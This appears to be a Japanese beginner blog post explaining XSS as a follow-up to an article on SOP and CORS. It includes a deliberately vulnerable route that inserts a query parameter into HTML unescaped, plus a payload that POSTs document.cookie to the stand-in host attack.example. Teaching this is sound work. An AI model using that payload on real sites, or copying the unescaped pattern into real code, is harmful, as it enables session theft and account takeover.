🍦

Webブラウザのセキュリティについて理解しよう(XSS脆弱性)

に公開

はじめに

はじめまして。大学4年生のとうふです。
今回は、4回目のZenn投稿になります!

本記事は、前回投稿したOrigin,SOP,CORSに関する記事の続編となっています。
まだ読んでいない方は、ぜひ以下の記事を先に読んで、OriginやSOP、CORSについて理解を深めてからご覧いただけると、よりスムーズに読み進められるかと思います!

https://zenn.dev/dem3860/articles/a0478649339e8b

今回も、前回と同様に、コンパクトかつわかりやすくまとめることを意識して書きました。
ぜひ最後までお付き合いいただけると嬉しいです!

SOPの限界

Same-Origin Policy(SOP)の復習

Same-Origin Policy(SOP)とは、
異なるOrigin間での
ブラウザ内アクセスを禁止する
ためのセキュリティ機構です。

具体的には、以下のような操作が制限されます。

  • DOMの読み書き
  • CookieやlocalStorageへのアクセス
  • JavaScriptオブジェクトへの参照

これにより、悪意あるサイトが他サイトの個人情報や機密データを盗み見たり、改ざんしたりするリスクを防いでいます。

SOPの致命的な弱点

このように、SOPはCross-Origin間の不正アクセスを防ぐために非常に重要な役割を果たしています。
しかし、SOPには致命的な弱点があります。

それは、「同一Origin内で発生する攻撃を防ぐことができない」 という点です。

つまり、同じOrigin上に存在する悪意あるページやスクリプトからは、自由にDOMやCookieにアクセスできてしまうのです。

具体例:同一Origin攻撃のイメージ

例えば、信頼しているサービスの内部に、
何らかの形で悪意あるスクリプトが仕込まれてしまった場合を考えてみましょう。

このスクリプトは、同一Originで動作しているため、

  • ユーザーのCookieを盗み取る
  • ページ上のフォームを改ざんする
  • 機密情報を外部に送信する

といった悪意ある操作を、ブラウザに防がれることなく実行できてしまいます。

このように、同一Origin内に侵入した攻撃者に対しては、SOPだけでは無力なのです。

つまり、Webアプリケーション自身がしっかりと防御策を講じなければ、ユーザーを守り切ることはできません。

ここで問題となるのが、アプリケーション内部に存在する脆弱性です。

特に、ユーザー入力を適切に処理できていないことによる
HTML InjectionContent Injectionといった脆弱性は、
重大なセキュリティリスクを引き起こします。

そして、これらの脆弱性を悪用することで発生する、
最も深刻な攻撃手法が XSS(クロスサイトスクリプティング) です。

次章では、この脆弱性と攻撃手法について詳しく見ていきます。

Webアプリケーション内部の脆弱性とは?

前章にも記載した通り、SOPは同一Origin内に存在する問題については無力です。

このときに重要になるのが、Webアプリケーション自身の安全性です。

特に、Webアプリケーションが
ユーザーからの入力を適切に検証・無害化(サニタイズ)せず、そのまま出力に反映してしまう場合、
攻撃者の意図したデータがHTMLやレスポンスに注入されてしまう
危険性があります。

このような問題は、一般に「インジェクション(Injection)脆弱性」と呼ばれます。

インジェクション脆弱性にはいくつか種類がありますが、ここでは代表的なものを2つ紹介します。

HTML Injection脆弱性

HTML Injection脆弱性とは、
ユーザーの入力内容がそのままHTML文書中に挿入されてしまう脆弱性です。

例えば、掲示板アプリケーションなどで、
投稿本文に <h1>重要なお知らせ</h1> のようなHTMLタグを入力すると、
それが実際にHTMLとして解釈・レンダリングされてしまうケースです。

HTML構造が壊れるだけならまだしも、
悪意あるスクリプト(JavaScript)を仕込まれると、より深刻な攻撃(XSS) に発展してしまいます。

Content Injection脆弱性

Content Injection脆弱性とは、HTMLに限らずHTTPレスポンス全体に対して、ユーザー入力がそのまま反映される脆弱性です。

本来安全であるはずのページに攻撃者の用意したコンテンツやスクリプトが埋め込まれてしまうことになります。

このように、ユーザー入力を適切に処理しない場合、
HTML InjectionやContent Injectionといった脆弱性を引き起こし、
最終的に深刻なXSS攻撃へと発展するリスク
を抱えることになります。

次のセクションではXSS脆弱性について見ていきましょう!

XSS(クロスサイトスクリプティング)とは?

XSS(Cross-Site Scripting) とは、任意のJavaScriptの実行を引き起こせるようなContent Injection脆弱性のことです。
言い換えると、攻撃者が用意した悪意あるスクリプト(JavaScript)が、
被害者のブラウザ上で意図せず実行されてしまう脆弱性のことを指します。

XSSが成立すると、攻撃者は次のようなことができてしまいます。

  • ユーザーのCookieやセッション情報を盗む
  • フォームの内容を書き換える、送信する
  • ログイン済みアカウントで勝手に操作を行う
  • 他サイトに不正リダイレクトさせる

つまり、ユーザーになりすまして操作できる個人情報を盗める、など
非常に深刻な影響を引き起こす脆弱性です。

また、XSS脆弱性にはいくつかのタイプがあります。

  • 反射型XSS(Reflected XSS)
    ユーザーの入力が即座にレスポンスに反映され、その場でスクリプトが実行されてしまうタイプ。
    主にURLのクエリパラメータなどにスクリプトを仕込むケースが多いです。

  • 蓄積型XSS(Stored XSS)
    悪意あるスクリプトが一度サーバに保存され、他のユーザーがそのデータを閲覧したときに実行されるタイプ。
    掲示板やコメント欄などが代表的な例です。

  • DOM-Based XSS
    サーバーではなく、クライアント側のJavaScriptが入力を処理することで発生するXSS。
    location.hrefdocument.write() などを介してスクリプトが実行されるパターンです。

これらは仕組みや発生箇所こそ異なりますが、いずれも悪意あるスクリプトの実行を許してしまう点では共通しており、
ユーザーやサービスに深刻な被害をもたらす可能性があります。

なぜXSSは危ないのか?

通常、JavaScriptはそのページのDOM、Cookie、localStorageなど、
あらゆる重要な情報にアクセスできる強力な権限を持っています。

そのため、一度でも悪意あるスクリプトを実行させてしまうと、

  • 情報の窃取
  • なりすまし操作
  • セッションハイジャック
  • フィッシングページへの誘導

といった、非常に重大な被害につながってしまうのです。

このように、XSSは「ブラウザ内で動くプログラム」を利用するため、
単なる見た目の問題ではなく、ユーザーやサービスに対する実害を引き起こす非常に危険な脆弱性です。

XSS脆弱性を用いた攻撃の例

XSS脆弱性を用いた攻撃は、以下のような流れで行われます。

  1. XSS脆弱性を用いてスクリプトを埋め込んだページまで
    ユーザーを誘導するリンクやメールを送る。

  2. ユーザーがそのページにアクセスすると、
    埋め込まれた悪意あるスクリプトがブラウザ上で自動的に実行される。

  3. スクリプトによって、
    CookieやlocalStorageの情報を盗み取ったり、勝手にフォームを送信したり、
    他のページへリダイレクトさせられたりする。

  4. 最終的に、

    • セッションハイジャック
    • アカウント乗っ取り
    • 個人情報漏洩
      といった深刻な被害につながる。

このように、XSSは単なるページの改ざんに留まらず、
ユーザー本人になりすまして重大な操作を行うことができてしまう非常に危険な攻撃です。

次章では、実際に脆弱なコード例をもとに、
どのようにしてXSS攻撃が成立するかを見ていきましょう。

例を見て理解する

実際に例を見て確認してみましょう。
ここでは以下のようなシンプルなHTMLを返しているとします。

app.get("/error", (c) => {
  const message = c.req.query("message") ?? "エラーが発生しました";
  return c.html(`
    <!DOCTYPE html>
    <html lang="ja">
      <head>
        <meta charset="UTF-8">
        <title>エラー</title>
      </head>
      <body>
        <h1>${message}</h1>
      </body>
    </html>
  `);
});

このコードでは、リクエストのクエリパラメータmessageをそのままHTMLに埋め込んでいます。

もし攻撃者が次のようなリクエストを送った場合を考えましょう。

http://localhost:8787/error?message=<script>alert('攻撃成功!')</script>

ブラウザでこのURLにアクセスすると、次のような挙動が発生します。

  1. <h1>タグ内に挿入された<script>タグがそのままブラウザに解釈される
  2. alert('攻撃成功!')が実行される
  3. 画面上に「攻撃成功!」というポップアップが表示される

以下は実際に擬似の攻撃が成功し、アラートが表示された画像です。

ここでは単なるアラートの例を紹介しましたが、以下のようなリクエストだったらどうなるでしょうか?

攻撃者は http://attack.example という自分のWebサーバーを管理していることを想定します。

http://localhost:8787/error?message=<script>fetch('http://attack.example/steal', {method: 'POST', body: document.cookie})</script>

このようなURLを攻撃対象者が踏んだ場合、<script>タグが攻撃対象者ブラウザで実行され、以下の処理が行われます。

  1. document.cookieで現在のサイトのクッキー情報を取得
  2. http://attack.example/stealに対してそのCookieをリクエストボディとして送信

つまり、ユーザーのCookieが攻撃者の管理するサーバーに送信されてしまうという深刻な事態になります。攻撃者はこのCookieを使用して個人情報へのアクセスや、勝手な操作の実行をすることができてしまいます。

このように、たった1行のスクリプトによって、
サービスやユーザーに甚大な被害が及ぶ可能性があるのがXSSの本質的な怖さです。

おわりに

ここまで、XSS(クロスサイトスクリプティング)脆弱性について見てきました。

  • SOP(Same-Origin Policy)では守りきれない同一Origin内での攻撃
  • HTMLやContent Injectionから始まり、任意のJavaScriptの実行に至る危険性
  • そして、Cookieの盗難やセッションハイジャックといった深刻な被害

XSSは決して他人事ではなく、「ちょっとした表示」でも油断すると大きなリスクに繋がることを実感していただけたのではないでしょうか。

しかし実際のWeb開発では、

  • ユーザーからの入力を画面に出したいことも多いですし、
  • Markdownや外部スクリプトなどをどうしても使いたい場面もあります。

こうした中で、XSSを防ぐにはどうすればいいのか?

そこで登場するのが、Content Security Policy(CSP)というブラウザに守ってもらうための強力なセキュリティ機構です。

次回はこのCSPについて、

  • どんな仕組みなのか
  • どうやって設定するのか
  • XSSに本当に効くのか?

といった観点から、実例とともにできるだけわかりやすく解説していきます!

続編も近日中に書こうと思うのでぜひ読んでいただきたいです!

参考文献

https://www.shadan-kun.com/waf_websecurity/xss/

Discussion